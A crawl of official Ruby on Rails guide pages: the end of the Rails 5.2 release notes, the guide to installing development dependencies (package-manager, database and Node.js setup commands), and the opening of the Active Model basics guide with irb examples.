* Deprecate `expand_hash_conditions_for_aggregates` without replacement. ([Commit](https://github.com/rails/rails/commit/7ae26885d96daee3809d0bd50b1a440c2f5ffb69))

### [8.3. Notable changes](#active-record-notable-changes)

* When calling the dynamic fixture accessor method with no arguments, it now returns all fixtures of this type. Previously this method always returned an empty array. ([Pull Request](https://github.com/rails/rails/pull/28692))

* Fix inconsistency with changed attributes when overriding Active Record attribute reader. ([Pull Request](https://github.com/rails/rails/pull/28661))

* Support Descending Indexes for MySQL. ([Pull Request](https://github.com/rails/rails/pull/28773))

* Fix `bin/rails db:forward` first migration. ([Commit](https://github.com/rails/rails/commit/b77d2aa0c336492ba33cbfade4964ba0eda3ef84))

* Raise error `UnknownMigrationVersionError` on the movement of migrations when the current migration does not exist. ([Commit](https://github.com/rails/rails/commit/bb9d6eb094f29bb94ef1f26aa44f145f17b973fe))

* Respect `SchemaDumper.ignore_tables` in rake tasks for databases structure dump. ([Pull Request](https://github.com/rails/rails/pull/29077))

* Add `ActiveRecord::Base#cache_version` to support recyclable cache keys via the new versioned entries in `ActiveSupport::Cache`. This also means that `ActiveRecord::Base#cache_key` will now return a stable key that does not include a timestamp any more. ([Pull Request](https://github.com/rails/rails/pull/29092))

* Prevent creation of bind param if casted value is nil. ([Pull Request](https://github.com/rails/rails/pull/29282))

* Use bulk INSERT to insert fixtures for better performance. ([Pull Request](https://github.com/rails/rails/pull/29504))

* Merging two relations representing nested joins no longer transforms the joins of the merged relation into LEFT OUTER JOIN. ([Pull Request](https://github.com/rails/rails/pull/27063))

* Fix transactions to apply state to child transactions. Previously, if you had a nested transaction and the outer transaction was rolledback, the record from the inner transaction would still be marked as persisted. It was fixed by applying the state of the parent transaction to the child transaction when the parent transaction is rolledback. This will correctly mark records from the inner transaction as not persisted. ([Commit](https://github.com/rails/rails/commit/0237da287eb4c507d10a0c6d94150093acc52b03))

* Fix eager loading/preloading association with scope including joins. ([Pull Request](https://github.com/rails/rails/pull/29413))

* Prevent errors raised by `sql.active_record` notification subscribers from being converted into `ActiveRecord::StatementInvalid` exceptions. ([Pull Request](https://github.com/rails/rails/pull/29692))

* Skip query caching when working with batches of records (`find_each`, `find_in_batches`, `in_batches`). ([Commit](https://github.com/rails/rails/commit/b83852e6eed5789b23b13bac40228e87e8822b4d))

* Change sqlite3 boolean serialization to use 1 and 0. SQLite natively recognizes 1 and 0 as true and false, but does not natively recognize 't' and 'f' as was previously serialized. ([Pull Request](https://github.com/rails/rails/pull/29699))

* Values constructed using multi-parameter assignment will now use the post-type-cast value for rendering in single-field form inputs. ([Commit](https://github.com/rails/rails/commit/1519e976b224871c7f7dd476351930d5d0d7faf6))

* `ApplicationRecord` is no longer generated when generating models. If you need to generate it, it can be created with `rails g application_record`. ([Pull Request](https://github.com/rails/rails/pull/29916))

* `Relation#or` now accepts two relations who have different values for `references` only, as `references` can be implicitly called by `where`. ([Commit](https://github.com/rails/rails/commit/ea6139101ccaf8be03b536b1293a9f36bc12f2f7))

* When using `Relation#or`, extract the common conditions and put them before the OR condition. ([Pull Request](https://github.com/rails/rails/pull/29950))

* Add `binary` fixture helper method. ([Pull Request](https://github.com/rails/rails/pull/30073))

* Automatically guess the inverse associations for STI. ([Pull Request](https://github.com/rails/rails/pull/23425))

* Add new error class `LockWaitTimeout` which will be raised when lock wait timeout exceeded. ([Pull Request](https://github.com/rails/rails/pull/30360))

* Update payload names for `sql.active_record` instrumentation to be more descriptive. ([Pull Request](https://github.com/rails/rails/pull/30619))

* Use given algorithm while removing index from database. ([Pull Request](https://github.com/rails/rails/pull/24199))

* Passing a `Set` to `Relation#where` now behaves the same as passing an array. ([Commit](https://github.com/rails/rails/commit/9cf7e3494f5bd34f1382c1ff4ea3d811a4972ae2))

* PostgreSQL `tsrange` now preserves subsecond precision. ([Pull Request](https://github.com/rails/rails/pull/30725))

* Raises when calling `lock!` in a dirty record. ([Commit](https://github.com/rails/rails/commit/63cf15877bae859ff7b4ebaf05186f3ca79c1863))

* Fixed a bug where column orders for an index weren't written to `db/schema.rb` when using the SQLite adapter. ([Pull Request](https://github.com/rails/rails/pull/30970))

* Fix `bin/rails db:migrate` with specified `VERSION`. `bin/rails db:migrate` with empty VERSION behaves as without `VERSION`. Check a format of `VERSION`: Allow a migration version number or name of a migration file. Raise error if format of `VERSION` is invalid. Raise error if target migration doesn't exist. ([Pull Request](https://github.com/rails/rails/pull/30714))

* Add new error class `StatementTimeout` which will be raised when statement timeout exceeded. ([Pull Request](https://github.com/rails/rails/pull/31129))

* `update_all` will now pass its values to `Type#cast` before passing them to `Type#serialize`. This means that `update_all(foo: 'true')` will properly persist a boolean. ([Commit](https://github.com/rails/rails/commit/68fe6b08ee72cc47263e0d2c9ff07f75c4b42761))

* Require raw SQL fragments to be explicitly marked when used in relation query methods. ([Commit](https://github.com/rails/rails/commit/a1ee43d2170dd6adf5a9f390df2b1dde45018a48), [Commit](https://github.com/rails/rails/commit/e4a921a75f8702a7dbaf41e31130fe884dea93f9))

* Add `#up_only` to database migrations for code that is only relevant when migrating up, e.g. populating a new column. ([Pull Request](https://github.com/rails/rails/pull/31082))

* Add new error class `QueryCanceled` which will be raised when canceling statement due to user request. ([Pull Request](https://github.com/rails/rails/pull/31235))

* Don't allow scopes to be defined which conflict with instance methods on `Relation`. ([Pull Request](https://github.com/rails/rails/pull/31179))

* Add support for PostgreSQL operator classes to `add_index`. ([Pull Request](https://github.com/rails/rails/pull/19090))

* Log database query callers. ([Pull Request](https://github.com/rails/rails/pull/26815), [Pull Request](https://github.com/rails/rails/pull/31519), [Pull Request](https://github.com/rails/rails/pull/31690))

* Undefine attribute methods on descendants when resetting column information. ([Pull Request](https://github.com/rails/rails/pull/31475))

* Using subselect for `delete_all` with `limit` or `offset`. ([Commit](https://github.com/rails/rails/commit/9e7260da1bdc0770cf4ac547120c85ab93ff3d48))

* Fixed inconsistency with `first(n)` when used with `limit()`. The `first(n)` finder now respects the `limit()`, making it consistent with `relation.to_a.first(n)`, and also with the behavior of `last(n)`. ([Pull Request](https://github.com/rails/rails/pull/27597))

* Fix nested `has_many :through` associations on unpersisted parent instances. ([Commit](https://github.com/rails/rails/commit/027f865fc8b262d9ba3ee51da3483e94a5489b66))

* Take into account association conditions when deleting through records. ([Commit](https://github.com/rails/rails/commit/ae48c65e411e01c1045056562319666384bb1b63))

* Don't allow destroyed object mutation after `save` or `save!` is called. ([Commit](https://github.com/rails/rails/commit/562dd0494a90d9d47849f052e8913f0050f3e494))

* Fix relation merger issue with `left_outer_joins`. ([Pull Request](https://github.com/rails/rails/pull/27860))

* Support for PostgreSQL foreign tables. ([Pull Request](https://github.com/rails/rails/pull/31549))

* Clear the transaction state when an Active Record object is duped. ([Pull Request](https://github.com/rails/rails/pull/31751))

* Fix not expanded problem when passing an Array object as argument to the where method using `composed_of` column. ([Pull Request](https://github.com/rails/rails/pull/31724))

* Make `reflection.klass` raise if `polymorphic?` not to be misused. ([Commit](https://github.com/rails/rails/commit/63fc1100ce054e3e11c04a547cdb9387cd79571a))

* Fix `#columns_for_distinct` of MySQL and PostgreSQL to make `ActiveRecord::FinderMethods#limited_ids_for` use correct primary key values even if `ORDER BY` columns include other table's primary key. ([Commit](https://github.com/rails/rails/commit/851618c15750979a75635530200665b543561a44))

* Fix `dependent: :destroy` issue for has\_one/belongs\_to relationship where the parent class was getting deleted when the child was not. ([Commit](https://github.com/rails/rails/commit/b0fc04aa3af338d5a90608bf37248668d59fc881))

* Idle database connections (previously just orphaned connections) are now periodically reaped by the connection pool reaper. ([Commit](https://github.com/rails/rails/pull/31221/commits/9027fafff6da932e6e64ddb828665f4b01fc8902))

## [9. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-2-stable/activemodel/CHANGELOG.md) for detailed changes.

### [9.1. Notable changes](#active-model-notable-changes)

* Fix methods `#keys`, `#values` in `ActiveModel::Errors`. Change `#keys` to only return the keys that don't have empty messages. Change `#values` to only return the not empty values. ([Pull Request](https://github.com/rails/rails/pull/28584))

* Add method `#merge!` for `ActiveModel::Errors`. ([Pull Request](https://github.com/rails/rails/pull/29714))

* Allow passing a Proc or Symbol to length validator options. ([Pull Request](https://github.com/rails/rails/pull/30674))

* Execute `ConfirmationValidator` validation when `_confirmation`'s value is `false`. ([Pull Request](https://github.com/rails/rails/pull/31058))

* Models using the attributes API with a proc default can now be marshalled. ([Commit](https://github.com/rails/rails/commit/0af36c62a5710e023402e37b019ad9982e69de4b))

* Do not lose all multiple `:includes` with options in serialization. ([Commit](https://github.com/rails/rails/commit/853054bcc7a043eea78c97e7705a46abb603cc44))

## [10. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-2-stable/activesupport/CHANGELOG.md) for detailed changes.

### [10.1. Removals](#removals)

* Remove deprecated `:if` and `:unless` string filter for callbacks. ([Commit](https://github.com/rails/rails/commit/c792354adcbf8c966f274915c605c6713b840548))

* Remove deprecated `halt_callback_chains_on_return_false` option. ([Commit](https://github.com/rails/rails/commit/19fbbebb1665e482d76cae30166b46e74ceafe29))

### [10.2. Deprecations](#deprecations)

* Deprecate `Module#reachable?` method. ([Pull Request](https://github.com/rails/rails/pull/30624))

* Deprecate `secrets.secret_token`. ([Commit](https://github.com/rails/rails/commit/fbcc4bfe9a211e219da5d0bb01d894fcdaef0a0e))

### [10.3. Notable changes](#active-support-notable-changes)

* Add `fetch_values` for `HashWithIndifferentAccess`. ([Pull Request](https://github.com/rails/rails/pull/28316))

* Add support for `:offset` to `Time#change`. ([Commit](https://github.com/rails/rails/commit/851b7f866e13518d900407c78dcd6eb477afad06))

* Add support for `:offset` and `:zone` to `ActiveSupport::TimeWithZone#change`. ([Commit](https://github.com/rails/rails/commit/851b7f866e13518d900407c78dcd6eb477afad06))

* Pass gem name and deprecation horizon to deprecation notifications. ([Pull Request](https://github.com/rails/rails/pull/28800))

* Add support for versioned cache entries. This enables the cache stores to recycle cache keys, greatly saving on storage in cases with frequent churn. Works together with the separation of `#cache_key` and `#cache_version` in Active Record and its use in Action Pack's fragment caching. ([Pull Request](https://github.com/rails/rails/pull/29092))

* Add `ActiveSupport::CurrentAttributes` to provide a thread-isolated attributes singleton. Primary use case is keeping all the per-request attributes easily available to the whole system. ([Pull Request](https://github.com/rails/rails/pull/29180))

* `#singularize` and `#pluralize` now respect uncountables for the specified locale. ([Commit](https://github.com/rails/rails/commit/352865d0f835c24daa9a2e9863dcc9dde9e5371a))

* Add default option to `class_attribute`. ([Pull Request](https://github.com/rails/rails/pull/29270))

* Add `Date#prev_occurring` and `Date#next_occurring` to return specified next/previous occurring day of week. ([Pull Request](https://github.com/rails/rails/pull/26600))

* Add default option to module and class attribute accessors. ([Pull Request](https://github.com/rails/rails/pull/29294))

* Cache: `write_multi`. ([Pull Request](https://github.com/rails/rails/pull/29366))

* Default `ActiveSupport::MessageEncryptor` to use AES 256 GCM encryption. ([Pull Request](https://github.com/rails/rails/pull/29263))

* Add `freeze_time` helper which freezes time to `Time.now` in tests. ([Pull Request](https://github.com/rails/rails/pull/29681))

* Make the order of `Hash#reverse_merge!` consistent with `HashWithIndifferentAccess`. ([Pull Request](https://github.com/rails/rails/pull/28077))

* Add purpose and expiry support to `ActiveSupport::MessageVerifier` and `ActiveSupport::MessageEncryptor`. ([Pull Request](https://github.com/rails/rails/pull/29892))

* Update `String#camelize` to provide feedback when wrong option is passed. ([Pull Request](https://github.com/rails/rails/pull/30039))

* `Module#delegate_missing_to` now raises `DelegationError` if target is nil, similar to `Module#delegate`. ([Pull Request](https://github.com/rails/rails/pull/30191))

* Add `ActiveSupport::EncryptedFile` and `ActiveSupport::EncryptedConfiguration`. ([Pull Request](https://github.com/rails/rails/pull/30067))

* Add `config/credentials.yml.enc` to store production app secrets. ([Pull Request](https://github.com/rails/rails/pull/30067))

* Add key rotation support to `MessageEncryptor` and `MessageVerifier`. ([Pull Request](https://github.com/rails/rails/pull/29716))

* Return an instance of `HashWithIndifferentAccess` from `HashWithIndifferentAccess#transform_keys`. ([Pull Request](https://github.com/rails/rails/pull/30728))

* `Hash#slice` now falls back to Ruby 2.5+'s built-in definition if defined. ([Commit](https://github.com/rails/rails/commit/01ae39660243bc5f0a986e20f9c9bff312b1b5f8))

* `IO#to_json` now returns the `to_s` representation, rather than attempting to convert to an array. This fixes a bug where `IO#to_json` would raise an `IOError` when called on an unreadable object. ([Pull Request](https://github.com/rails/rails/pull/30953))

* Add same method signature for `Time#prev_day` and `Time#next_day` in accordance with `Date#prev_day`, `Date#next_day`. Allows pass argument for `Time#prev_day` and `Time#next_day`. ([Commit](https://github.com/rails/rails/commit/61ac2167eff741bffb44aec231f4ea13d004134e))

* Add same method signature for `Time#prev_month` and `Time#next_month` in accordance with `Date#prev_month`, `Date#next_month`. Allows pass argument for `Time#prev_month` and `Time#next_month`. ([Commit](https://github.com/rails/rails/commit/f2c1e3a793570584d9708aaee387214bc3543530))

* Add same method signature for `Time#prev_year` and `Time#next_year` in accordance with `Date#prev_year`, `Date#next_year`. Allows pass argument for `Time#prev_year` and `Time#next_year`. ([Commit](https://github.com/rails/rails/commit/ee9d81837b5eba9d5ec869ae7601d7ffce763e3e))

* Fix acronym support in `humanize`. ([Commit](https://github.com/rails/rails/commit/0ddde0a8fca6a0ca3158e3329713959acd65605d))

* Allow `Range#include?` on TWZ ranges. ([Pull Request](https://github.com/rails/rails/pull/31081))

* Cache: Enable compression by default for values > 1kB. ([Pull Request](https://github.com/rails/rails/pull/31147))

* Redis cache store. ([Pull Request](https://github.com/rails/rails/pull/31134), [Pull Request](https://github.com/rails/rails/pull/31866))

* Handle `TZInfo::AmbiguousTime` errors. ([Pull Request](https://github.com/rails/rails/pull/31128))

* MemCacheStore: Support expiring counters. ([Commit](https://github.com/rails/rails/commit/b22ee64b5b30c6d5039c292235e10b24b1057f6d))

* Make `ActiveSupport::TimeZone.all` return only time zones that are in `ActiveSupport::TimeZone::MAPPING`. ([Pull Request](https://github.com/rails/rails/pull/31176))

* Changed default behavior of `ActiveSupport::SecurityUtils.secure_compare`, to make it not leak length information even for variable length string. Renamed old `ActiveSupport::SecurityUtils.secure_compare` to `fixed_length_secure_compare`, and started raising `ArgumentError` in case of length mismatch of passed strings. ([Pull Request](https://github.com/rails/rails/pull/24510))

* Use SHA-1 to generate non-sensitive digests, such as the ETag header. ([Pull Request](https://github.com/rails/rails/pull/31289), [Pull Request](https://github.com/rails/rails/pull/31651))

* `assert_changes` will always assert that the expression changes, regardless of `from:` and `to:` argument combinations. ([Pull Request](https://github.com/rails/rails/pull/31011))

* Add missing instrumentation for `read_multi` in `ActiveSupport::Cache::Store`. ([Pull Request](https://github.com/rails/rails/pull/30268))

* Support hash as first argument in `assert_difference`. This allows to specify multiple numeric differences in the same assertion. ([Pull Request](https://github.com/rails/rails/pull/31600))

* Caching: MemCache and Redis `read_multi` and `fetch_multi` speedup. Read from the local in-memory cache before consulting the backend. ([Commit](https://github.com/rails/rails/commit/a2b97e4ffef971607a1be8fc7909f099b6840f36))

## [11. Active Job](#active-job)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-2-stable/activejob/CHANGELOG.md) for detailed changes.

### [11.1. Notable changes](#active-job-notable-changes)

* Allow block to be passed to `ActiveJob::Base.discard_on` to allow custom handling of discard jobs. ([Pull Request](https://github.com/rails/rails/pull/30622))

## [12. Ruby on Rails Guides](#ruby-on-rails-guides)

Please refer to the [Changelog](https://github.com/rails/rails/blob/5-2-stable/guides/CHANGELOG.md) for detailed changes.

### [12.1. Notable changes](#ruby-on-rails-guides-notable-changes)

* Add [Threading and Code Execution in Rails](threading_and_code_execution.html) Guide. ([Pull Request](https://github.com/rails/rails/pull/27494))

* Add [Active Storage Overview](active_storage_overview.html) Guide. ([Pull Request](https://github.com/rails/rails/pull/31037))

## [13. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/development_dependencies_install.html
----

***

## [1. Other Ways to Set Up Your Environment](#other-ways-to-set-up-your-environment)

If you don't want to set up Rails for development on your local machine, you can use Codespaces, the VS Code Remote Plugin, or rails-dev-box. Learn more about these options [here](contributing_to_ruby_on_rails.html#setting-up-a-development-environment).

## [2. Local Development](#local-development)

If you want to develop Ruby on Rails locally on your machine, see the steps below.

### [2.1. Install Git](#install-git)

Ruby on Rails uses Git for source code control. The [Git homepage](https://git-scm.com/) has installation instructions. There are a variety of resources online that will help you get familiar with Git.

### [2.2. Clone the Ruby on Rails Repository](#clone-the-ruby-on-rails-repository)

Navigate to the folder where you want to download the Ruby on Rails source code (it will create its own `rails` subdirectory) and run:

```
$ git clone https://github.com/rails/rails.git
$ cd rails
```

### [2.3. Install Additional Tools and Services](#install-additional-tools-and-services)

Some Rails tests depend on additional tools that you need to install before running those specific tests.

Here's the list of each gems' additional dependencies:

* Action Cable depends on Redis
* Active Record depends on SQLite3, MySQL and PostgreSQL
* Active Storage depends on Yarn (additionally Yarn depends on [Node.js](https://nodejs.org/)), ImageMagick, libvips, FFmpeg, muPDF, Poppler, and on macOS also XQuartz.
* Active Support depends on memcached and Redis
* Railties depend on a JavaScript runtime environment, such as having [Node.js](https://nodejs.org/) installed.

Install all the services you need to properly test the full gem you'll be making changes to. How to install these services for macOS, Ubuntu, Fedora/CentOS, Arch Linux, and FreeBSD are detailed below.

Redis' documentation discourages installations with package managers as those are usually outdated. Installing from source and bringing the server up is straight forward and well documented on [Redis' documentation](https://redis.io/download#installation).

Active Record tests *must* pass for at least MySQL, PostgreSQL, and SQLite3. Your patch will be rejected if tested against a single adapter, unless the change and tests are adapter specific.

Below you can find instructions on how to install all of the additional tools for different operating systems.

#### [2.3.1. macOS](#macos)

On macOS you can use [Homebrew](https://brew.sh/) to install all of the additional tools.

To install all run:

```
$ brew bundle
```

You'll also need to start each of the installed services. To list all available services run:

```
$ brew services list
```

You can then start each of the services one by one like this:

```
$ brew services start mysql
```

Replace `mysql` with the name of the service you want to start.

#### [2.3.2. Ubuntu](#ubuntu)

To install all run:

```
$ sudo apt-get update
$ sudo apt-get install sqlite3 libsqlite3-dev mysql-server libmysqlclient-dev postgresql postgresql-client postgresql-contrib libpq-dev redis-server memcached imagemagick ffmpeg mupdf mupdf-tools libxml2-dev libvips42 poppler-utils libyaml-dev libffi-dev

# Install Yarn
# Use this command if you do not have Node.js installed
# ref: https://github.com/nodesource/distributions#installation-instructions
$ sudo mkdir -p /etc/apt/keyrings
$ curl --fail --silent --show-error --location https://deb.nodesource.com/gpgkey/nodesource-repo.gpg.key | sudo gpg --dearmor -o /etc/apt/keyrings/nodesource.gpg
$ echo "deb [signed-by=/etc/apt/keyrings/nodesource.gpg] https://deb.nodesource.com/node_20.x nodistro main" | sudo tee /etc/apt/sources.list.d/nodesource.list
$ sudo apt-get update
$ sudo apt-get install -y nodejs

# Once you have installed Node.js, install the yarn npm package
$ sudo npm install --global yarn
```

#### [2.3.3. Fedora or CentOS](#fedora-or-centos)

To install all run:

```
$ sudo dnf install sqlite-devel sqlite-libs mysql-server mysql-devel postgresql-server postgresql-devel redis memcached ImageMagick ffmpeg mupdf libxml2-devel vips poppler-utils

# Install Yarn
# Use this command if you do not have Node.js installed
# ref: https://github.com/nodesource/distributions#installation-instructions-1
$ sudo dnf install https://rpm.nodesource.com/pub_20.x/nodistro/repo/nodesource-release-nodistro-1.noarch.rpm -y
$ sudo dnf install nodejs -y --setopt=nodesource-nodejs.module_hotfixes=1

# Once you have installed Node.js, install the yarn npm package
$ sudo npm install --global yarn
```

#### [2.3.4. Arch Linux](#arch-linux)

To install all run:

```
$ sudo pacman -S sqlite mariadb libmariadbclient mariadb-clients postgresql postgresql-libs redis memcached imagemagick ffmpeg mupdf mupdf-tools poppler yarn libxml2 libvips
$ sudo mariadb-install-db --user=mysql --basedir=/usr --datadir=/var/lib/mysql
$ sudo systemctl start redis mariadb memcached
```

If you are running Arch Linux, MySQL isn't supported anymore so you will need to use MariaDB instead (see [this announcement](https://www.archlinux.org/news/mariadb-replaces-mysql-in-repositories/)).

#### [2.3.5. FreeBSD](#freebsd)

To install all run:

```
$ sudo pkg install sqlite3 mysql80-client mysql80-server postgresql11-client postgresql11-server memcached imagemagick6 ffmpeg mupdf yarn libxml2 vips poppler-utils
# portmaster databases/redis
```

Or install everything through ports (these packages are located under the `databases` folder).

If you run into problems during the installation of MySQL, please see [the MySQL documentation](https://dev.mysql.com/doc/refman/en/freebsd-installation.html).

#### [2.3.6. Debian](#debian)

To install all dependencies run:

```
$ sudo apt-get install sqlite3 libsqlite3-dev default-mysql-server default-libmysqlclient-dev postgresql postgresql-client postgresql-contrib libpq-dev redis-server memcached imagemagick ffmpeg mupdf mupdf-tools libxml2-dev libvips42 poppler-utils
```

If you are running Debian, MariaDB is the default MySQL server, so be aware there may be differences.

### [2.4. Database Configuration](#database-configuration)

There are couple of additional steps required to configure database engines required for running Active Record tests.

PostgreSQL's authentication works differently. To set up the development environment with your development account, on Linux or BSD, you just have to run:

```
$ sudo -u postgres createuser --superuser $USER
```

and for macOS:

```
$ createuser --superuser $USER
```

MySQL will create the users when the databases are created. The task assumes your user is `root` with no password.

Then, you need to create the test databases for both MySQL and PostgreSQL with:

```
$ cd activerecord
$ bundle exec rake db:create
```

You can also create test databases for each database engine separately:

```
$ cd activerecord
$ bundle exec rake db:mysql:build
$ bundle exec rake db:postgresql:build
```

and you can drop the databases using:

```
$ cd activerecord
$ bundle exec rake db:drop
```

Using the Rake task to create the test databases ensures they have the correct character set and collation.

If you're using another database, check the file `activerecord/test/config.yml` or `activerecord/test/config.example.yml` for default connection information. You can edit `activerecord/test/config.yml` to provide different credentials on your machine, but you should not push any of those changes back to Rails.

### [2.5. Install JavaScript Dependencies](#install-javascript-dependencies)

If you installed Yarn, you will need to install the JavaScript dependencies:

```
$ yarn install
```

### [2.6. Installing Gem Dependencies](#installing-gem-dependencies)

Gems are installed with [Bundler](https://bundler.io/) which ships by default with Ruby.

To install the Gemfile for Rails run:

```
$ bundle install
```

If you don't need to run Active Record tests, you can run:

```
$ bundle config set without db
$ bundle install
```

### [2.7. Contribute to Rails](#contribute-to-rails)

After you've set up everything, read how you can start [contributing](contributing_to_ruby_on_rails.html#running-an-application-against-your-local-branch).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/active_model_basics.html
----

***

## [1. What is Active Model?](#what-is-active-model-questionmark)

To understand Active Model, you need to know a little about [Active Record](active_record_basics.html). Active Record is an ORM (Object Relational Mapper) that connects objects whose data requires persistent storage to a relational database. However, it has functionality that is useful outside of the ORM, some of these include validations, callbacks, translations, the ability to create custom attributes, etc.

Some of this functionality was abstracted from Active Record to form Active Model. Active Model is a library containing various modules that can be used on plain Ruby objects that require model-like features but are not tied to any table in a database.

In summary, while Active Record provides an interface for defining models that correspond to database tables, Active Model provides functionality for building model-like Ruby classes that don't necessarily need to be backed by a database. Active Model can be used independently of Active Record.

Some of these modules are explained below.

### [1.1. API](#api)

[`ActiveModel::API`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/API.html) adds the ability for a class to work with [Action Pack](https://api.rubyonrails.org/v8.1.4/files/actionpack/README_rdoc.html) and [Action View](action_view_overview.html) right out of the box.

When including `ActiveModel::API`, other modules are included by default which enables you to get features like:

* [Attribute Assignment](#attribute-assignment)
* [Conversion](#conversion)
* [Naming](#naming)
* [Translation](#translation)
* [Validations](#validations)

Here is an example of a class that includes `ActiveModel::API` and how it can be used:

```
class EmailContact
  include ActiveModel::API

  attr_accessor :name, :email, :message
  validates :name, :email, :message, presence: true

  def deliver
    if valid?
      # Deliver email
    end
  end
end
```

```
irb> email_contact = EmailContact.new(name: "David", email: "david@example.com", message: "Hello World")

irb> email_contact.name # Attribute Assignment
=> "David"

irb> email_contact.to_model == email_contact # Conversion
=> true

irb> email_contact.model_name.name # Naming
=> "EmailContact"

irb> EmailContact.human_attribute_name("name") # Translation if the locale is set
=> "Name"

irb> email_contact.valid? # Validations
=> true

irb> empty_contact = EmailContact.new
irb> empty_contact.valid?
=> false
```

Any class that includes `ActiveModel::API` can be used with `form_with`, `render` and any other [Action View helper methods](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers.html), just like Active Record objects.

For example, `form_with` can be used to create a form for an `EmailContact` object as follows:

```
<%= form_with model: EmailContact.new do |form| %>
  <%= form.text_field :name %>
<% end %>
```

which results in the following HTML:

```
<form action="/email_contacts" method="post">
  <input type="text" name="email_contact[name]" id="email_contact_name">
</form>
```

`render` can be used to render a partial with the object:

```
<%= render @email_contact %>
```

You can learn more about how to use `form_with` and `render` with `ActiveModel::API` compatible objects in the [Action View Form Helpers](form_helpers.html) and [Layouts and Rendering](layouts_and_rendering.html) guides, respectively.

### [1.2. Model](#model)

[`ActiveModel::Model`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Model.html) includes [ActiveModel::API](#api) to interact with Action Pack and Action View by default, and is the recommended approach to implement model-like Ruby classes. It will be extended in the future to add more functionality.

```
class Person
  include ActiveModel::Model

  attr_accessor :name, :age
end
```

```
irb> person = Person.new(name: 'bob', age: '18')
irb> person.name # => "bob"
irb> person.age  # => "18"
```

### [1.3. Attributes](#attributes)

[`ActiveModel::Attributes`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Attributes.html) allows you to define data types, set default values, and handle casting and serialization on plain Ruby objects. This can be useful for form data which will produce Active Record-like conversion for things like dates and booleans on regular objects.

To use `Attributes`, include the module in your model class and define your attributes using the `attribute` macro. It accepts a name, a cast type, a default value, and any other options supported by the attribute type.

```
class Person
  include ActiveModel::Attributes

  attribute :name, :string
  attribute :date_of_birth, :date
  attribute :active, :boolean, default: true
end
```

```
irb> person = Person.new

irb> person.name = "Jane"
irb> person.name
=> "Jane"

# Casts the string to a date set by the attribute
irb> person.date_of_birth = "2020-01-01"
irb> person.date_of_birth
=> Wed, 01 Jan 2020
irb> person.date_of_birth.class
=> Date

# Uses the default value set by the attribute
irb> person.active
=> true

# Casts the integer to a boolean set by the attribute
irb> person.active = 0
irb> person.active
=> false
```

Some additional methods described below are available when using `ActiveModel::Attributes`.

#### [1.3.1. Method: `attribute_names`](#method-attribute-names)

The `attribute_names` method returns an array of attribute names.

```
irb> Person.attribute_names
=> ["name", "date_of_birth", "active"]
```

#### [1.3.2. Method: `attributes`](#method-attributes)

The `attributes` method returns a hash of all the attributes with their names as keys and the values of the attributes as values.

```
irb> person.attributes
=> {"name" => "Jane", "date_of_birth" => Wed, 01 Jan 2020, "active" => false}
```

### [1.4. Attribute Assignment](#attribute-assignment)

[`ActiveModel::AttributeAssignment`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/AttributeAssignment.html) allows you to set an object's attributes by passing in a hash of attributes with keys matching the attribute names. This is useful when you want to set multiple attributes at once.

Consider the following class:

```
class Person
  include ActiveModel::AttributeAssignment

  attr_accessor :name, :date_of_birth, :active
end
```

```
irb> person = Person.new

# Set multiple attributes at once
irb> person.assign_attributes(name: "John", date_of_birth: "1998-01-01", active: false)

irb> person.name
=> "John"
irb> person.date_of_birth
=> Thu, 01 Jan 1998
irb> person.active
=> false
```

If the passed hash responds to the `permitted?` method and the return value of this method is `false`, an `ActiveModel::ForbiddenAttributesError` exception is raised.

`permitted?` is used for [strong params](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters) integration whereby you are assigning a params attribute from a request.

```
irb> person = Person.new

# Using strong parameters checks, build a hash of attributes similar to params from a request
irb> params = ActionController::Parameters.new(name: "John")
=> #<ActionController::Parameters {"name" => "John"} permitted: false>

irb> person.assign_attributes(params)
=> # Raises ActiveModel::ForbiddenAttributesError
irb> person.name
=> nil

# Permit the attributes we want to allow assignment
irb> permitted_params = params.permit(:name)
=> #<ActionController::Parameters {"name" => "John"} permitted: true>

irb> person.assign_attributes(permitted_params)
irb> person.name
=> "John"
```

#### [1.4.1. Method alias: `attributes=`](#method-alias-attributes)

The `assign_attributes` method has an alias `attributes=`.

A method alias is a method that performs the same action as another method, but is called something different. Aliases exist for the sake of readability and convenience.

The following example demonstrates the use of the `attributes=` method to set multiple attributes at once:

```
irb> person = Person.new

irb> person.attributes = { name: "John", date_of_birth: "1998-01-01", active: false }

irb> person.name
=> "John"
irb> person.date_of_birth
=> "1998-01-01"
```

`assign_attributes` and `attributes=` are both method calls, and accept the hash of attributes to assign as an argument. In many cases, Ruby allows parens `()` from method calls, and curly braces `{}` from hash definitions, to be omitted.\
\
"Setter" methods like `attributes=` are commonly written without `()`, even though including them works the same, and they require the hash to always include `{}`. `person.attributes=({ name: "John" })` is fine, but `person.attributes = name: "John"` results in a `SyntaxError`.\
\
Other method calls like `assign_attributes` may or may not contain both parens `()` and `{}` for the hash argument. For example, `assign_attributes name: "John"` and `assign_attributes({ name: "John" })` are both perfectly valid Ruby code, however, `assign_attributes { name: "John" }` is not, because Ruby can't differentiate that hash argument from a block, and will raise a `SyntaxError`.

### [1.5. Attribute Methods](#attribute-methods)

[`ActiveModel::AttributeMethods`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/AttributeMethods.html) provides a way to define methods dynamically for attributes of a model. This module is particularly useful to simplify attribute access and manipulation, and it can add custom prefixes and suffixes to the methods of a class. You can define the prefixes and suffixes and which methods on the object will use them as follows:

1. Include `ActiveModel::AttributeMethods` in your class.
2. Call each of the methods you want to add, such as `attribute_method_suffix`, `attribute_method_prefix`, `attribute_method_affix`.
3. Call `define_attribute_methods` after the other methods to declare the attribute(s) that should be prefixed and suffixed.
4. Define the various generic `_attribute` methods that you have declared. The parameter `attribute` in these methods will be replaced by the argument passed in `define_attribute_methods`. In the example below it's `name`.
